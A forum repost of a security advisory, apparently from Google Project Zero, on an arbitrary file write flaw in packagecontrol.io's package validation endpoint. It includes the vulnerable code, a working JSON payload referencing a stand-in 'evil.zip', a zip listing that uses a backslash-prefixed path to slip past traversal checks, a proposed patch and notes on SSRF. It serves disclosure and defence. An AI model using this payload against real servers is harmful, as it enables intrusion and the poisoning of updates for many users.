Kev Posted February 27, 2021 Report Posted February 27, 2021 Package Control suffers from an arbitrary file write vulnerability. Package Control: Arbitrary File Write on packagecontrol.io Package Control is a popular package manager for Sublime Text with over 19.77M users and around 65k daily package installs. packagecontrol.io is its main website and hosts the default channel (https://packagecontrol.io/channel_v3.json) used for installing and updating packages. packagecontrol.io supports validation of Package Control's Repository JSON format via the packagecontrol.io/test_repo endpoint. This endpoint passes the (JSON-decoded) POST body directly to the run_tests function defined in app/lib/run_repo_tests.py (https://github.com/wbond/packagecontrol.io/blob/1629533ad44cbea6258a172876f06e1bbb7db14f/app/lib/run_repo_tests.py#L69): While the overall validation logic is somewhat complex, we are only interested in the final steps where a package is downloaded and its content analyzed. Most packages are hosted on Github or Bitbucket and use branch or tag based version management, but it is still possible to manually specify a download URL by using a JSON configuration like the one shown below: { \"name\":\"test\", \"author\":\"Felix Wilhelm\", \"releases\":[ { \"version\":\"2.0.0\", \"url\":\"http://plugin-host/package.zip\", \"date\":\"2021-02-25 10:00:00\", \"sublime_text\":\"*\" } ] } For configurations like this, the validation routine downloads the package ZIP file from the user supplied URL, extracts it and runs a number of \u"file checkers\u" on the package files. This is implemented in the code snippet shown below: tmpdir = tempfile.mkdtemp() if not tmpdir: return build_result([format_report('Could not create temp dir')], []) tmp_package_path = os.path.join(tmpdir, '%s.sublime-package' % name) **A** tmp_package_dir = os.path.join(tmpdir, name) **B** os.mkdir(tmp_package_dir) with open(tmp_package_path, 'wb') as package_file, downloader(url, settings) as manager: try: package_file.write(manager.fetch(url, 'fetching package')) except DownloaderException as e: ... with zipfile.ZipFile(tmp_package_path, 'r') as package_zip: # Scan through the root level of the zip file to gather some info root_level_paths = [] last_path = None for path in package_zip.namelist(): if not isinstance(path, str): path = path.decode('utf-8', 'strict') last_path = path if path.find('/') in [len(path) - 1, -1]: root_level_paths.append(path) # Make sure there are no paths that look like security vulnerabilities if path[0] == '/' or '../' in path or '..\\\\' in path: **C** errors.append(format_report('The path \"%s\" appears to be attempting to access other parts of the filesystem' % path)) return build_result(errors, warnings) if last_path and len(root_level_paths) == 0: root_level_paths.append(last_path[0:last_path.find('/') + 1]) # If there is only a single directory at the top level, the file # is most likely a zip from BitBucket or GitHub and we need # to skip the top-level dir when extracting skip_root_dir = len(root_level_paths) == 1 and \\ root_level_paths[0].endswith('/') for path in package_zip.namelist(): dest = path if not isinstance(dest, str): dest = dest.decode('utf-8', 'strict') # If there was only a single directory in the package, we remove # that folder name from the paths as we extract entries if skip_root_dir: dest = dest[len(root_level_paths[0]):] dest = dest.replace('\\\\', '/') **D** dest = os.path.join(tmp_package_dir, dest) dest = os.path.abspath(dest) # Make sure there are no paths that look like security vulnerabilities if not dest.startswith(tmp_package_dir): ** E ** errors.append(format_report('The path \"%s\" appears to be attempting to access other parts of the filesystem' % path)) return build_result(errors, warnings) if path.endswith('/'): if not os.path.exists(dest): os.makedirs(dest) else: dest_dir = os.path.dirname(dest) if not os.path.exists(dest_dir): os.makedirs(dest_dir) with open(dest, 'wb') as f: f.write(package_zip.read(path)) tmp_package_dir_pathlib = pathlib.Path(tmp_package_dir) for checker in file_checkers.get_checkers(): ... The code first creates a temporary directory to store both the zip archive and the extracted content. It then downloads the zip archive and tries to extract all files while making sure that no directory traversal attacks can be used to write to locations outside of the temporary directory. However, there are multiple problems that still make such an attack possible: 1. The name variable is coming from the attacker controlled JSON file and used without any validation (A). This makes it possible to create arbitrary directories by using a directory traversal \u"../../../../tmp/test\u" or even an absolute file path \u"/tmp/test\u" as the name field of the package. Absolute paths work because os.path.join has the following feature: \u"If a component is an absolute path, all previous components are thrown away and joining continues from the absolute path component.\u" (https://docs.python.org/3/library/os.path.html) 2. We can also create an arbitrary file with controlled content and the ending \u".sublime-package\u" somewhere on the file system (B). On most systems this should already be enough to get arbitrary code execution. 3. However, we can use another bug to create files with controlled content and a controlled name: While the code checks for absolute file paths and directory traversals attempts in all compressed file paths (C), it does not check for absolute file paths starting with a backslash. This is a problem, because backslashes get converted to forward slashes in (D). We can use this behavior and the os.path.join call to put an arbitrary path in the dest variable by using a file path like \u"\ mp/test\u". The final check in (E) is not a problem for an attacker as tmp_package_dir is completely attacker controlled (see 1.) Putting this together, an attacker can write arbitrary files on the packagecontrol.io host by combining a JSON payload like { \"name\":\"/tmp/test\", \"author\":\"Felix Wilhelm\", \"releases\":[ { \"version\":\"2.0.0\", \"url\":\"http://plugin-host/evil.zip\", \"date\":\"2021-02-25 10:00:00\", \"sublime_text\":\"*\" } ] } With a zip file with the following contents (see attachment) unzip -l evil.zip Archive: evil.zip Length Date Time Name --------- ---------- ----- ---- 10 2021-02-25 11:22 \ mp/test1234 0 2021-02-25 11:30 a/ 0 2021-02-25 11:30 b/ --------- ------- 10 3 files This will create the file /tmp/test1234 (and a directory /tmp/test) A practical attack would either try to achieve RCE by overwriting some script files or directly backdoor channel_v3.json to push malicious updates to Package Control users. Fix Suggestion: The patch below should fix the described issues in the short term. However, I think a better way to address these issues would be to move the whole validation logic (including the file checkers) into a low privileged/sandboxed context. This would reduce the risk of similar bugs popping up. diff --git a/app/lib/run_repo_tests.py b/app/lib/run_repo_tests.py index d80895a..8bfdc01 100644 --- a/app/lib/run_repo_tests.py +++ b/app/lib/run_repo_tests.py @@ -112,6 +112,10 @@ def run_tests(spec): settings = downloader_settings() name = info['name'] + if '/' in name or '\\\\' in name: + errors.append(format_report('The name \"%s\" contains invalid characters' % name)) + return build_result(errors, warnings) + tmpdir = tempfile.mkdtemp() if not tmpdir: return build_result([format_report('Could not create temp dir')], []) @@ -140,7 +144,7 @@ def run_tests(spec): if path.find('/') in [len(path) - 1, -1]: root_level_paths.append(path) # Make sure there are no paths that look like security vulnerabilities - if path[0] == '/' or '../' in path or '..\\\\' in path: + if path[0] == '/' or path[0]=='\\\\' or '../' in path or '..\\\\' in path: errors.append(format_report('The path \"%s\" appears to be attempting to access other parts of the filesystem' % path)) return build_result(errors, warnings) There is also a pretty big risk of SSRF attacks, as the download manager does not perform any validation of the url prior to fetching it. For example, an attacker could use this to send requests to the redis instance listening on localhost. This is pretty difficult to fix correctly so one idea might be to remove support for non github/bitbucket packages (and therefore attacker specified URLs) from run_repo_tests. This bug is subject to a 90 day disclosure deadline. After 90 days elapse, the bug report will become visible to the public. The scheduled disclosure date is 2021-05-26. Disclosure at an earlier date is also possible if agreed upon by all parties. Found by: fwilhelm@google.com Download GS20210226161937.tgz (3.9 KB) Source Quote
